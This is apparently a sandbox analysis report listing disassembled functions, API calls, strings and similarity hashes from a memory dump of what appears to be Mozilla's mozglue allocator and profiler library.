floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB9378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB938BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB939EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB93EE2

Part of subcall function 6CB96180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CB961DD
Part of subcall function 6CB96180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CB9622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB940F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB9412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB94157

Part of subcall function 6CB96180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CB96250
Part of subcall function 6CB96180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB96292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB9441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB94448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB9484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB94863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB94878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB94896
free.MOZGLUE ref: 6CB9489F

Strings

, xrefs: 6CB94CD2

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 55a69338c929bd74de5e83899f117c01e5207139a4c798e205b24f0f9fd74bde
Instruction ID: aeba2b6039e05635988f7dad606310f0370b57560926ba774b1dda75b8b61f97
Opcode Fuzzy Hash: 55a69338c929bd74de5e83899f117c01e5207139a4c798e205b24f0f9fd74bde
Instruction Fuzzy Hash: B3F24B74908B848FC725CF28C18469AFBF1FF8A348F118A5ED9D997711DB719886CB42

Function 6CB464C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CB464DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CB464F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CB46505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CB46518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CB4652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CB4671C
GetCurrentProcess.KERNEL32 ref: 6CB46724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CB4672F
GetCurrentProcess.KERNEL32 ref: 6CB46759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CB46764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CB46A80
GetSystemInfo.KERNEL32(?), ref: 6CB46ABE
__Init_thread_footer.LIBCMT ref: 6CB46AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB46AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB46AF7

Strings

detoured.dll, xrefs: 6CB464DA
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CB46798
_etoured.dll, xrefs: 6CB464ED
nvdxgiwrap.dll, xrefs: 6CB46513
nvd3d9wrap.dll, xrefs: 6CB46500
user32.dll, xrefs: 6CB46526

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 3a9d0bb4ab653fa02fca08b6389871ff5ff8820ebf727dd23914ef071862a533
Instruction ID: 95e3c1d13ac871e8cd5b69561bcb202ceed328c1b4f42979c7279c9fb564b141
Opcode Fuzzy Hash: 3a9d0bb4ab653fa02fca08b6389871ff5ff8820ebf727dd23914ef071862a533
Instruction Fuzzy Hash: 51F1F7709096999FDB20CF64CC887DAB7B4EF05318F1481D9E809E3645EB31AE84CF91

Function 6CB9C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB9C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB9C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CB9C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CB9C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CB9C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB9CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB9CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB9DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CB9DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CB9DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB9DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB9DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CB9E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB9E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CB9E472

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: be39bede384c3397d197efd845d296b34ba746212dd30f2e4830c0553a14f5a3
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: E133AF71E0429ACFCB04CFA8C8806ADBBF2FF4A310F294279D955AB755D731A945CB90

Function 6CB4FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CBBE7B8), ref: 6CB4FF81
LeaveCriticalSection.KERNEL32(6CBBE7B8), ref: 6CB5022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CB50240
EnterCriticalSection.KERNEL32(6CBBE768), ref: 6CB5025B
LeaveCriticalSection.KERNEL32(6CBBE768), ref: 6CB5027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CB50D67, 6CB50D7B, 6CB50DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB4FE99, 6CB4FEB7, 6CB4FED3, 6CB50DB8, 6CB50DD3, 6CB519B4
<jemalloc>, xrefs: 6CB50D62, 6CB50D76, 6CB50DA7

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 83858688cfa5043c83a6e8bb540e442e52747463444cecb01bf1e3a16891dbd7
Instruction ID: 306f87ed54e369bdf9e3f5435d9a8ff564dea8e2ff3f87ca11b35d523c5d97d1
Opcode Fuzzy Hash: 83858688cfa5043c83a6e8bb540e442e52747463444cecb01bf1e3a16891dbd7
Instruction Fuzzy Hash: BCC2BF71A057818FD714CF29C48071ABBE1FF85328F68C66DE8A98B795D771E811CB82

Function 6CB9E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CB9E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB9EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB9EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB9EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB9F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CB9F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CBA0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CBA0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CBA0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CBA0ED4

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 316bdeaa4c1c38323a6e1df93778314bac091ce97f87329834de9291fbfc691a
Instruction ID: 835e5530b865414ca6c3d40ba72bcfa9be59ffcaf5e9564540f420d33c8b0dfd
Opcode Fuzzy Hash: 316bdeaa4c1c38323a6e1df93778314bac091ce97f87329834de9291fbfc691a
Instruction Fuzzy Hash: CA639071E0429ACFCB14CFA8C8906DDFBB2FF89310F298269D455AB755D730A946CB90

Function 6CB5ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CB5EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CB5EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CB61695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB616B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CB61770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB61A3E

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: c7d4b8aa51d888ca1bd63272395c317169b4df9df227bb37b8a347945790c68a
Instruction ID: 979cc11576a34d0dc6d8cfd1a6f2cdc1acf12b5245e245fbac54d91fe943fada
Opcode Fuzzy Hash: c7d4b8aa51d888ca1bd63272395c317169b4df9df227bb37b8a347945790c68a
Instruction Fuzzy Hash: DDB33971E002698FDB14CFA9C890A9DF7B2FF49304F5981A9D449ABB45D730AD86CF90

Function 6CB4FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CBBE7B8), ref: 6CB4FF81
LeaveCriticalSection.KERNEL32(6CBBE7B8), ref: 6CB5022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CB50240
EnterCriticalSection.KERNEL32(6CBBE768), ref: 6CB5025B
LeaveCriticalSection.KERNEL32(6CBBE768), ref: 6CB5027B

Strings

MOZ_CRASH(), xrefs: 6CB50CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB4FE99, 6CB4FEB7, 6CB4FED3, 6CB50DB8, 6CB50DD3, 6CB519B4, 6CB51A10

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: bf75eef5dbe13ed303d83be4990a0b481debc7f4e70b1e0a31359b8a8fc699e5
Instruction ID: 8cc798e85f52f1dbd2131b59f20d031d1e62f5e317fb94338525758785e84eac
Opcode Fuzzy Hash: bf75eef5dbe13ed303d83be4990a0b481debc7f4e70b1e0a31359b8a8fc699e5
Instruction Fuzzy Hash: 4CB2BC71A057818FD714CF29C59071ABBE1FF89328F68C66CE86A8B795C770E851CB42

Function 6CB85600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

name, xrefs: 6CB85E79, 6CB85E8F
ProfileBuffer parse error: %s, xrefs: 6CB85AC8, 6CB85CBB
expected a Time entry, xrefs: 6CB85CB6
expected a Count entry, xrefs: 6CB85AC3
schema, xrefs: 6CB8606D
data, xrefs: 6CB86131

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: e8aee6724e279db1e3e691dcd4d5809d16d94b5961ed7a6de27106b16318d10a
Instruction ID: 949baafc167436c8db7782cdcd8770c17b62859223655dd9393859b44f216d12
Opcode Fuzzy Hash: e8aee6724e279db1e3e691dcd4d5809d16d94b5961ed7a6de27106b16318d10a
Instruction Fuzzy Hash: C3920775A093818BD724CF28C49079EB7E1FFC9308F54891DE99A9B751DB30E849CB92

Function 6CB77E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6CB77E88
name, xrefs: 6CB77ECF, 6CB78335
schema, xrefs: 6CB781E3, 6CB78311
data, xrefs: 6CB78280, 6CB783E1

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 3d1aaa98a950a1b25d31768a9d0400b3949154e1614d0d3ec4c8e367acd47967
Instruction ID: 3d17937ef71e2434853fdf109b94bf363ba051f05fa4c7971a47f43550b4f84b
Opcode Fuzzy Hash: 3d1aaa98a950a1b25d31768a9d0400b3949154e1614d0d3ec4c8e367acd47967
Instruction Fuzzy Hash: 15E16071A043948BC714CF68C84066FF7E9FB95314F14892DE899EB790DBB0DD098B91

Function 6CB5D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CBBE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB6D1C5), ref: 6CB5D4F2
LeaveCriticalSection.KERNEL32(6CBBE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB6D1C5), ref: 6CB5D50B

Part of subcall function 6CB3CFE0: EnterCriticalSection.KERNEL32(6CBBE784), ref: 6CB3CFF6
Part of subcall function 6CB3CFE0: LeaveCriticalSection.KERNEL32(6CBBE784), ref: 6CB3D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB6D1C5), ref: 6CB5D52E
EnterCriticalSection.KERNEL32(6CBBE7DC), ref: 6CB5D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB5D6A6
LeaveCriticalSection.KERNEL32(6CBBE7DC), ref: 6CB5D712
LeaveCriticalSection.KERNEL32(6CBBE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB6D1C5), ref: 6CB5D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB5D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CB5D82C
<jemalloc>, xrefs: 6CB5D827

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 7c565733a74c8bc9261ce59ce6dd52ca3cf51dd7fb3692c132db37c20201dd8e
Instruction ID: 7ba50c53e5449eeec456677cc78b590b56ab9c5efed05dd26207013f303621d7
Opcode Fuzzy Hash: 7c565733a74c8bc9261ce59ce6dd52ca3cf51dd7fb3692c132db37c20201dd8e
Instruction Fuzzy Hash: E1911271A047C18FD714CF39D69032AB7E1EB99314F548A2EE59AC7B90DB30E855CB82

Function 6CB55E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB55EDB
memset.VCRUNTIME140(6CB97765,000000E5,55CCCCCC), ref: 6CB55F27
LeaveCriticalSection.KERNEL32(?), ref: 6CB55FB2
memset.VCRUNTIME140(6CB97765,000000E5,BBC09015), ref: 6CB561F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CB57652

Strings

MOZ_CRASH(), xrefs: 6CB57BA4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CB5730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CB572F8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CB572E3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB57BCD, 6CB57C1F, 6CB57C34, 6CB580FD

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 509ce50d986adfd381427e4eeb7736001f6394a1448d192a3bf6420e3f583a30
Instruction ID: 90ab89dd1ea2ba6199dc5303715632e8f709ea7dbc34046c4aee265ceb3787b7
Opcode Fuzzy Hash: 509ce50d986adfd381427e4eeb7736001f6394a1448d192a3bf6420e3f583a30
Instruction Fuzzy Hash: EB33BC716157818FC308CF28C590615BBE2FF85328F69C6ADE8698F7A5C771E861CB42

Function 6CB94EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CB94EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB94F2E
moz_xmalloc.MOZGLUE ref: 6CB94F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CB94F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB952B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB952E6
Sleep.KERNEL32(00000010), ref: 6CB95481
free.MOZGLUE(?), ref: 6CB95498

Strings

(, xrefs: 6CB95250

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 407332d1290aa2cc36afd45187c223fa4ff15686dc7aa63a1a846c8a2b84f21e
Instruction ID: 66ba5b5aa01ac4a61405fc177caa262372f4091e7dfc1a1375b818daf586c2e7
Opcode Fuzzy Hash: 407332d1290aa2cc36afd45187c223fa4ff15686dc7aa63a1a846c8a2b84f21e
Instruction Fuzzy Hash: ADF1B075A18B408FC716CF39C85062BB7F9EFD6384F05872EF886A7651DB3198468B81

Function 6CB59E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB59EB8
LeaveCriticalSection.KERNEL32(?), ref: 6CB59F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB59F34
LeaveCriticalSection.KERNEL32(?), ref: 6CB5A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB5A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB5A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB5A8B1, 6CB5A8D4, 6CB5A8EF

Memory Dump Source

Source File: 00000000.00000002.2447652766.000000006CB31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2446968245.000000006CB30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447822341.000000006CBAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447886980.000000006CBBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2447928645.000000006CBC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 7cfd3b962ec5c627cdf121f81d31242f77ed328b9d758a60c74cda05ad31aeda
Instruction ID: b5131b4f8a7f814ca1209f1f59c57c848e98367deabf39b70e4b8fbdc085089b
Opcode Fuzzy Hash: 7cfd3b962ec5c627cdf121f81d31242f77ed328b9d758a60c74cda05ad31aeda
Instruction Fuzzy Hash: BF728AB2A156518FD304CF28C440225FBE1FF89328F69C66DE869AB791D331E852CF91

Function 6CB82C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CB82C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CB82C61

Part of subcall function 6CB34DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CB34E5A
Part of subcall function 6CB34DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CB34E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB82C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB82E2D

Part of subcall function 6CB481B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CB481DE

Strings

